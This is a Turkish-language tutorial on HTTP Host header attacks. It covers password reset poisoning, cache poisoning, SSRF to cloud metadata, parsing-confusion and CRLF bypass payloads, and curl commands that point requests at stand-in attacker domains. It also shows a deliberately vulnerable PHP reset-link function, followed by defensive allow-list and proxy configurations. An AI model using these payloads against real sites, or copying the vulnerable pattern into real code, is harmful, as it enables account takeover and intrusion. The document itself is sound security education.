HTTP Host Header Attacks

HTTP Host header, HTTP/1.1'den itibaren zorunlu bir request header'dır. İstemcinin erişmek istediği domain adını belirtir. Bu header, özellikle bir IP adresinde birden fazla web sitesinin barındırıldığı durumlarda kritik öneme sahiptir.

GET /web-security HTTP/1.1
Host: portswigger.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: text/html,application/xhtml+xml

Modern web mimarisinde Host header, reverse proxy'ler, load balancer'lar ve CDN'ler tarafından istekleri doğru backend servislere yönlendirmek için kullanılır. Bu kritik rol, Host header'ı saldırganlar için cazip bir hedef haline getirir.

HTTP Host header saldırıları, uygulamaların Host header değerini güvenli olmayan şekilde işlemesi sonucu ortaya çıkan zafiyetleri exploit eder. Bu saldırılar, Host header'a zararlı payload'lar enjekte edilerek sunucu tarafı davranışlarını manipüle etmeyi amaçlar.

// Zafiyet örneği - Host header'dan domain çekme
<?php
function generateResetLink($token) {
    $host = $_SERVER['HTTP_HOST']; // Güvenli değil!
    $resetUrl = "https://" . $host . "/reset?token=" . $token;
    return $resetUrl;
}

// Email gönderimi
$resetLink = generateResetLink($userToken);
sendEmail($userEmail, "Reset your password", $resetLink);
?>

Host header saldırıları genellikle uygulamanın Host header değerine implicit güven duyması ve bu değeri validate etmemesi sonucu ortaya çıkar. Saldırganlar bu zafiyeti kullanarak çeşitli güvenlik kontrollerini bypass edebilir ve sistemi manipüle edebilirler.

Password Reset Poisoning, saldırganın zafiyet bulunan bir web sitesini manipüle ederek, kontrolleri altındaki bir domain'e işaret eden şifre sıfırlama linki oluşturmasına dayanan bir tekniktir. Bu teknik, rastgele kullanıcıların hesaplarını ele geçirmek için kullanılabilir.

Normal Şifre Sıfırlama Süreci:

// Normal şifre sıfırlama linki
https://normal-website.com/reset?token=0a1b2c3d4e5f6g7h8i9j

Password Reset Poisoning Saldırısı:

POST /reset-password HTTP/1.1
Host: evil-attacker.com # Saldırganın kontrolündeki domain
Content-Type: application/x-www-form-urlencoded
Content-Length: 28

email=victim@example.com

// Zehirlenmiş şifre sıfırlama linki
https://evil-attacker.com/reset?token=0a1b2c3d4e5f6g7h8i9j

HTTP Host header saldırılarını başarıyla gerçekleştirmek için sistematik bir yaklaşım benimsenmelidir. Bu metodoloji, zafiyet tespitinden exploit aşamasına kadar tüm adımları kapsar.

1. Keşif ve Reconnaissance

# Subdomain enumeration
subfinder -d target.com | tee subdomains.txt
assetfinder target.com | tee -a subdomains.txt

# Virtual host discovery
gobuster vhost -u http://target.com -w /usr/share/wordlists/subdomains.txt

# DNS enumeration
dig target.com A
nslookup target.com

2. Host Header Manipulation Testing

// Temel Host header manipülasyonu
GET / HTTP/1.1
Host: evil.com
User-Agent: Mozilla/5.0

// X-Forwarded-Host ile deneme
GET / HTTP/1.1
Host: legitimate.com
X-Forwarded-Host: evil.com

// Duplicate headers
GET / HTTP/1.1
Host: legitimate.com
Host: evil.com

3. Response Analysis

# Burp Suite ile automated testing
burp-host-header-checks --target https://target.com

# Manual testing with curl
curl -H "Host: evil.com" https://target.com -v

# Response grep for host reflection
curl -H "Host: evil.com" https://target.com | grep -i evil.com

Host header zafiyetlerini tespit etmek için çeşitli teknikler ve araçlar kullanılabilir. Her tekniğin kendine özgü avantajları ve kullanım alanları vardır.

Automated Detection Tools

# HostHeader Scanner
python3 hostheader-scanner.py -u https://target.com

# Nuclei templates
nuclei -u https://target.com -t /nuclei-templates/misconfiguration/host-header-injection.yaml

# Custom Python script
#!/usr/bin/env python3
import requests

headers = {
    'Host': 'evil.com',
    'X-Forwarded-Host': 'evil.com'
}

response = requests.get('https://target.com', headers=headers)
if 'evil.com' in response.text:
    print("Potential Host Header Injection found!")

Manual Testing Checklist

// Password reset test request
POST /forgot-password HTTP/1.1
Host: attacker-controlled.com
Content-Type: application/x-www-form-urlencoded

email=test@victim.com

// Cache poisoning test
GET / HTTP/1.1
Host: evil.com
X-Forwarded-Host: evil.com
Cache-Control: no-cache

Advanced Detection Techniques

// Advanced payload examples
Host: target.com:80@evil.com
Host: target.com#@evil.com
Host: target.com%20@evil.com
Host: evil.com#target.com
Host: evil.com\.target.com

Gerçek dünya senaryolarında Host header zafiyetlerinin nasıl exploit edilebileceğini gösteren pratik örnekler ve payload'lar.

1. Password Reset Poisoning Exploit

# 1. Set up listener on attacker server
python3 -m http.server 80

# 2. Send malicious reset request
curl -X POST https://target.com/reset-password \
  -H "Host: attacker.com" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "email=victim@target.com"

2. Web Cache Poisoning

// Cache poisoning with JavaScript injection
GET /static/script.js HTTP/1.1
Host: evil.com/malicious.js#
X-Forwarded-Host: evil.com

3. Business Logic Bypass

// Admin panel erişimi için Host manipulation
GET /admin HTTP/1.1
Host: localhost

// Internal network bypass
GET /admin HTTP/1.1
Host: 127.0.0.1
X-Forwarded-Host: internal.company.local

4. SSRF via Host Header

// Internal service discovery
GET / HTTP/1.1
Host: 192.168.1.50:3306

// Cloud metadata access
GET / HTTP/1.1
Host: 169.254.169.254
X-Forwarded-Host: 169.254.169.254

Host header saldırılarında kullanılan gelişmiş teknikler ve bypass yöntemleri. Bu teknikler, standart güvenlik kontrollerini atlatmak için kullanılır.

1. Header Injection Techniques

// Line wrapping for bypass
Host: legitimate.com
 evil.com

// Tab injection
Host: legitimate.com	evil.com

// Unicode normalization bypass
Host: ｅｖｉｌ．ｃｏｍ # Fullwidth characters

// CRLF injection
Host: legitimate.com%0d%0aHost:%20evil.com

2. Parsing Confusion Attacks

// URL parsing confusion
Host: legitimate.com@evil.com
Host: legitimate.com#evil.com
Host: legitimate.com\\.evil.com

// Port confusion
Host: legitimate.com:80@evil.com:80
Host: legitimate.com:@evil.com

// IPv6 confusion
Host: [::1]:80@evil.com
Host: [evil.com]

3. Connection State Attacks

// HTTP/1.1 Pipeline abuse
GET /admin HTTP/1.1
Host: legitimate.com

GET /admin HTTP/1.1
Host: localhost

// HTTP/2 header smuggling
:authority: legitimate.com
host: evil.com

4. Time-based Techniques

# Cache timing attack
for i in {1..100}; do
    curl -H "Host: evil.com" https://target.com/static/app.js
    sleep 0.1
done

# Response time analysis
time curl -H "Host: internal.local" https://target.com/admin
time curl -H "Host: external.com" https://target.com/admin

HTTP Host header saldırılarına karşı etkili korunma stratejileri ve implementasyon örnekleri. Bu yöntemler savunma derinliği prensibi ile uygulanmalıdır.

1. Host Header Validation

// PHP - Whitelist approach
<?php
$allowed_hosts = [
    'example.com',
    'www.example.com',
    'api.example.com'
];

$host = $_SERVER['HTTP_HOST'] ?? '';

if (!in_array($host, $allowed_hosts)) {
    header('HTTP/1.1 400 Bad Request');
    exit('Invalid Host header');
}
?>

// Django settings.py
ALLOWED_HOSTS = [
    'example.com',
    'www.example.com',
    '.example.com',  # Subdomain wildcard
]

// Node.js Express middleware
const allowedHosts = ['example.com', 'www.example.com'];

function validateHost(req, res, next) {
    const host = req.get('Host');
    if (!allowedHosts.includes(host)) {
        return res.status(400).send('Invalid Host');
    }
    next();
}

2. Configuration Security

# Apache Virtual Host configuration
<VirtualHost *:80>
    ServerName example.com
    ServerAlias www.example.com
    DocumentRoot /var/www/example
    
    # Reject unknown hosts
    <If "%{HTTP_HOST} !~ /^(www\.)?example\.com$/i">
        Require all denied
    </If>
</VirtualHost>

# Nginx configuration
server {
    listen 80;
    server_name example.com www.example.com;
    
    # Default server block for invalid hosts
    if ($host !~ ^(www\.)?example\.com$) {
        return 444; # Close connection
    }
}

3. Absolute URL Handling

// Güvenli URL oluşturma
class SecureUrlGenerator {
    private $baseUrl = 'https://example.com'; // Config'den al
    
    public function generateResetLink($token) {
        // Host header kullanma, config'den al
        return $this->baseUrl . '/reset?token=' . $token;
    }
    
    public function getCurrentDomain() {
        // Host header'a güvenme
        return parse_url($this->baseUrl, PHP_URL_HOST);
    }
}

4. Proxy ve Load Balancer Configuration

# HAProxy configuration
frontend web_frontend
    bind *:80
    bind *:443 ssl crt /path/to/cert.pem
    
    # Host header validation
    acl valid_host hdr(host) -i example.com www.example.com
    http-request deny unless valid_host
    
    # Remove override headers
    http-request del-header X-Forwarded-Host
    http-request del-header X-Host
    
    default_backend web_servers

# Cloudflare Workers example
addEventListener('fetch', event => {
    event.respondWith(handleRequest(event.request))
})

async function handleRequest(request) {
    const allowedHosts = ['example.com', 'www.example.com']
    const host = request.headers.get('Host')
    
    if (!allowedHosts.includes(host)) {
        return new Response('Invalid Host', { status: 400 })
    }
    
    return fetch(request)
}

HTTP Host header saldırılarını pratik yapabileceğiniz güvenli test ortamları ve laboratuvarlar. Bu platformlarda gerçek senaryolara benzer zafiyetleri test edebilirsiniz.

Diğer Platformlar

# DVWA (Damn Vulnerable Web Application)
docker run -p 80:80 vulnerables/web-dvwa

# WebGoat
docker run -p 8080:8080 webgoat/goatandwolf

# Damn Vulnerable Node.js App
git clone https://github.com/appsecco/dvna.git
npm install && npm start

Pratik Senaryo Örnekleri

// Test Scenario 1: Password Reset
1. Normal reset işlemini gözlemle
2. Burp Proxy ile isteği yakala
3. Host header'ı değiştir
4. E-postayı kontrol et
5. Link manipulation başarısını doğrula

// Test Scenario 2: Cache Poisoning
1. GET /static/app.js normal istek
2. Host: evil.com ile istek
3. Response'da evil.com yansıması kontrol
4. Farklı browser'dan normal istek
5. Cache poisoning başarısını doğrula